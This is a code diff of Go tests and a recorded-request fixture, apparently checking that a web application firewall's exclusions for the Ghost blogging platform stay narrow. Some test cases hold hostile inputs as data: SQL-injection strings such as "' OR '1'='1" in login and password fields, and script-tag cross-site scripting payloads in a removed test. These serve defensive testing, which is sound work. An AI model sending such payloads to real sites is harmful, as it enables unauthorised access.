postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
|
||||||
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
for _, refused := range []struct{ target, body string }{
|
||||||
@@ -863,12 +682,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||||
{ghostPosts, userEmail},
|
{ghostPosts, userEmail},
|
||||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||||
{"/api/posts/1/", postURL},
|
|
||||||
{ghostMembers, postURL},
|
|
||||||
{ghostPage, postURL},
|
|
||||||
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
|
||||||
{ghostPost, pageURL},
|
|
||||||
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
|
||||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||||
@@ -891,47 +704,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// A <script> element keeps 941110 off the Admin API, in fields that do
|
|
||||||
// not take one, and when the query has a field of the same name. 941100
|
|
||||||
// and 941160 refuse each request too, so the test looks for 941110
|
|
||||||
// itself.
|
|
||||||
const (
|
|
||||||
script = `<script defer src=\"/script.js\"></script>`
|
|
||||||
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
|
||||||
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
|
||||||
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
|
||||||
{"/ghost/api/content/posts/", scriptInPost},
|
|
||||||
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
|
|
||||||
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
|
|
||||||
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
|
||||||
{"/api/settings/", scriptInSettings},
|
|
||||||
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
|
||||||
{ghostPosts, scriptInTag},
|
|
||||||
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, refused.body)
|
|
||||||
if got.Score < ghostThreshold ||
|
|
||||||
!slices.Contains(got.RuleIDs, 941110) {
|
|
||||||
t.Errorf(
|
|
||||||
"PUT %s %s: %+v, want 941110 among them",
|
|
||||||
refused.target,
|
|
||||||
refused.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -959,26 +731,20 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
||||||
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
|
// fields that 900370 to 900378 name, as TestGhostExclusionsAreNarrow checks
|
||||||
// the others: each keeps its rules on another path, and when the query has
|
// the others: each keeps its rules on another path, and when the query has
|
||||||
// a field of the same name.
|
// a field of the same name.
|
||||||
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
bio = `{"users":[{"bio":"python3"}]}`
|
bio = `{"users":[{"bio":"python3"}]}`
|
||||||
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
||||||
content = `{"content":"python3"}`
|
content = `{"content":"python3"}`
|
||||||
altText = `{"image":{"altText":"python3"}}`
|
accountBio = `{"bio":"python3"}`
|
||||||
accountBio = `{"bio":"python3"}`
|
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
||||||
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
||||||
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
||||||
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
|
||||||
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
|
|
||||||
targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
|
||||||
domain = `{"domain":"python3.example.com"}`
|
|
||||||
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
|
||||||
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
|
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
for _, refused := range []struct{ target, body string }{
|
||||||
@@ -989,26 +755,14 @@ func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
|||||||
{ghostComments + "?json.comments.0.html=x", comment},
|
{ghostComments + "?json.comments.0.html=x", comment},
|
||||||
{ghostAccount, content},
|
{ghostAccount, content},
|
||||||
{ghostNote + "?json.content=x", content},
|
{ghostNote + "?json.content=x", content},
|
||||||
{ghostAccount, altText},
|
|
||||||
{ghostNote + "?json.image.altText=x", altText},
|
|
||||||
{ghostNote, accountBio},
|
{ghostNote, accountBio},
|
||||||
{ghostAccount + "?json.bio=x", accountBio},
|
{ghostAccount + "?json.bio=x", accountBio},
|
||||||
{ghostPosts, invited},
|
{ghostPosts, invited},
|
||||||
{ghostInvites + "?json.invites.0.email=x", invited},
|
{ghostInvites + "?json.invites.0.email=x", invited},
|
||||||
{ghostInvites, accepted},
|
{ghostInvites, accepted},
|
||||||
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
||||||
{ghostMigration, sourceHandle},
|
|
||||||
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
|
||||||
{ghostMigration, actorURI},
|
|
||||||
{ghostAliases + "?json.actorUri=x", actorURI},
|
|
||||||
{ghostAliases, targetHandle},
|
|
||||||
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
|
||||||
{ghostAccount, domain},
|
|
||||||
{ghostDomain + "?json.domain=x", domain},
|
|
||||||
{ghostPosts, tagCode},
|
{ghostPosts, tagCode},
|
||||||
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
||||||
{ghostPosts, tagURL},
|
|
||||||
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
|
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||||
|
|
||||||
|
|||||||
+1
-3
@@ -533,8 +533,6 @@
|
|||||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & 